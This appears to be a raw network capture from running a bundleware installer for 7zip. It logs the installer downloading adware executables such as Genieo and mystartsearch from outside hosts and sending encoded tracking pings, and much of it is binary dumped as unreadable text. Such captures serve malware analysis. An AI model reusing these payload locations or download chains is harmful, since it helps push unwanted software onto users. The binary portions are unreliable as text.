User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 06:45:05 GMT

Last-Modified: Tue, 02 Dec 2014 08:02:33 GMT

Expires: Sun, 04 Jan 2015 06:55:05 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 46c5879ae75c5210d757c3ac6eb3e048.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Q8hYiCmPq7XkeC8Jo5VkNddHTOOvR2YgeVgmUkDq2H1bmuurYafWnw==
2d0.............\ko#Gv.l..Z%@4...{..cy......E2$5.>-.d.lO...n.....o.
H...I...._.f......Dv...}.sKW........Y........ksr~yy....ew.5..Lo....7f.
.I..Q....eopbN.E.}uy.../..]...r:....^.e..yQ{.bQ,N^.}%.~..I...a^......&
lt;k........"4.u.....dW,...._]..SlM...?...cq9.s~..,]<.;...<.....
....O.h.f.(ye.........6..W&I.M....4)...........g.p..O.L....6........[.
..../1. 3..Q....`..o...~j.?~m..~4...u^............\.. .K...7n...'v....
o....\..}=..&7....-^...o_.;.su.}}.G..f....fa|u9{}u......r.4vb.0...'.Y4
...s..3h.5......~<ya.Y..-ln...y..(..&J..%.0..#^......(Y..p.& .b.,?3
..0.,..A..w8C.n.q4...~*7....Y|..7nTS...pE&.L.<.t..33..suafM8..m...0
.n.......2Fg.Y..Iqa...i.B........5......m.$/..t./..]...K.....7._.S"...
9.i..}.A%e;.:,...].N3(...)w...|...O.&.a^..?..16a0...'.;....m-...m....:
&.H...R..4..0..\....f.%.9./q...J......BU...ujpD..A[f.;..gE....'..OT.u4
..e.^.^?2;.....T.].........P..[......8..yr.T6Y.3.t......>|.m.......
......t..r."..07...;y.n..qb....3c.mB.a.mf.i......!.>....z....4.l.Nc
.E...I..,s_U.x.]C5.[..M.2{......@$..zf...o.~...G....?..<.=.....J"X.
@.......'7..Pg4.?.'....P.gV..'.x.[_$..m.`...,..Q......&.........~....U
[email protected]`.e:..... .u.r...L'C.."....u..>....*.......Yu......X.X
...K..:8.......@.........../p....7<.....k....t.do.].........C.ML.n,
r.[.}..}0..8.vMp{...PI<:. ..=........n}<. ._...7..'....[...''.a.
yo.k~...."Q.J.....Y..<..A.rh.:.N.......4...w.n.~............b.Q.9H,
.Mu.......^..../..v.}...)C.D.....}a(.1 u.{,.4.IQG..,.Q.h..jd.8..]f...R
;...NbWq..H.5~y$..........r..%...nIe..^u..2.M.E...D.R.K"...E.....D<<< skipped >>>

GET / HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3de2400f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 0-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e52440f75-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..........................................$.....'X.E._^[....U..Q.e..VP
jWX..6X..P.$.....'X....t3.4..u.P.&.....P.u.X.....X..P.E...XX....E..E..
....u.3.@^....U........W..x....W.%..|....b............................
e~8.......=U..........`P.......V.........7........pe........3.|.......
U.........Jv.........r53.........S......KX'.......3.T.........\4......
.8|&..........................ep8.......=U..........`P.......V........
.7........pe........3.|.......U.........Jv.........r53.........S......
KX'.......3.T.........\4.......8|&................ep8.......=U....

<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: fJO0H i8A4889wCjFw2m/5kiLrl3CwAqnXdgceha8JXCt KvovEBLTI4Uf49Ez1ZGyP3UrDdn/s=

x-amz-request-id: AB352B192D0AE682

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 864857-988407/988408

Content-Type: application/octet-stream

Content-Length: 123551

Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: DAcvTEC4LxCg0jgMfopBsKP qbN1  49t2K2KPGxYz 11a60Z2OuhEmLRmVG7RjUkZGuGDBC5B8=

x-amz-request-id: 5A0D99B8A3CB4AA2

Date: Thu, 08 Jan 2015 04:55:18 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: x2BrYKlDvIrS_mM-XwItVu0LuVwsg30ta5ZcVrRxVk0eFqlU63Azyg==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.9144508896003505 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=269780-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 38540

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 269780-308319/308320

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:53:13 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 04 Jan 2015 05:03:13 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 0c9cedd17c3277ae84a1fe06de20f49c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Y56S9_5-Jmfpk4YPrKKtYDe3xpafDfuJsFq6Pm7-x2S4okEDhpYBoQ==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=231240-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 77080

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 231240-308319/308320
.o..l....o.......o.......o.......W.......o.......o.......o.......o....
...p.......p...... p......,p......8p......Pp..,...\p..;...tp..>....
p..C....p..k....p.......p.......p.......p.......p.......p.......p.....
..p..;....q..k... q......0q......<q......Hq......Tq......`q......lq
......xq..;....q.......q.......q.......q.......q.......q.......q......
.q..;....q.......r.......r.......r......(r......4r..;...Lr......\r....
..hr......tr.......r..;....r... ...r... ...r... ...r..; ...r...$...r..
.$...r...$...r..;$...s...(...s...(...s...(..(s...,..4s...,..@s...,..Ls
...0..Xs...0..ds...0..ps...4..|s...4...s...4...s...8...s...8...s...<
;...s...<[email protected][email protected]...|..
.t...|..([email protected]..,...0t..q...(j......<t......Ht......Tt.....
.`t......lt......xt.......t.......t.......t.......t.......t.......t...
....t..C....t.......t.......t......xk..)....t.......u..k...8k..!...,u.
.c...0j......8u..D...Du..}...Pu......8j......hu..E...Pj......tu..G....
u......Xj.......u..H...`j.......u.......u.......u..I....u.......u.....
.8l..A....u......hj.......u..J...pj.......u.......u.......v.......v...
... v......,v......8v......Dv......Pv......\v......hv..K...tv.......v.
.....xj.......v.......v.......v.......v.......v.......v.......v.......
v.......v.......v.......w.......w.......w......(w......4w......@w.....
.Lw......Xw......dw......Hk..#...pw..e....k..*...|w..l...`k..&....w..h
....j.......w..L....k.......w..s....j.......w.......w.......w.......w.
.M....w.......w...... l..>....w.......k..7....x.......j.......x<<< skipped >>>

GET /p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/akYFgXQio35rNOwiukyJDyINwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHxrxafBhAOP4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1zRRmrxhtIL-V8jgl_OA72nzDkuiBl5_EN0HBUDo0y22_w8NP4bG4A==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoauGBKhpkBj 1FnN G3tSlj0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z3pcUVvrv2pyviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C4wBJ8YhWy_aBsWuPf4z-5gB8_fQZyktpxJk2EQPwlMIP99SvFEUaw==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoYZ7OgPWq2R5uHNcraZZx7PEssJBdfAZfMIB 2VkRFHHeFi2wm40ilUM55afbHqxZlkPvXZTGehCLN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgOM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4OjlDsyZOo9GaTbqccBsV5eeZn4tYU-JE6XQArNohvxFrDaF1e_jmQ==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoZmQz1jSMZVP0JQd5HxgIXfQyypuUJjWsIJQffTeIm3i94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Mu0Ddl3TDP3kfTm-9BAjksgre1N06B2td5eFQQtNKgntN6DQXmCPqA==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRobDlUjOI3FcBs IILilpWF1x1QZiJL1PeFa8toKlq5Vz4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRofsh4s6QQfAos IILilpWF0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtyL/BUHI2zSk5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfNCasEWnSMNQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7_BtwYGJVcTYv_SCyfekrD1OeTGvvsgm9LgV1FkIoDc2ZKr3Y012GQ==

....

GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT AW1ilHO0XlqaFGmNQisoEs IILilpWF2V9PoQYImhoi5ITADj fT8xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PqOqj-iFGyS8ZQpyCD-wdAI-rrXnc3_XxuioyRon5_l2ooGtucSgLQ==

....

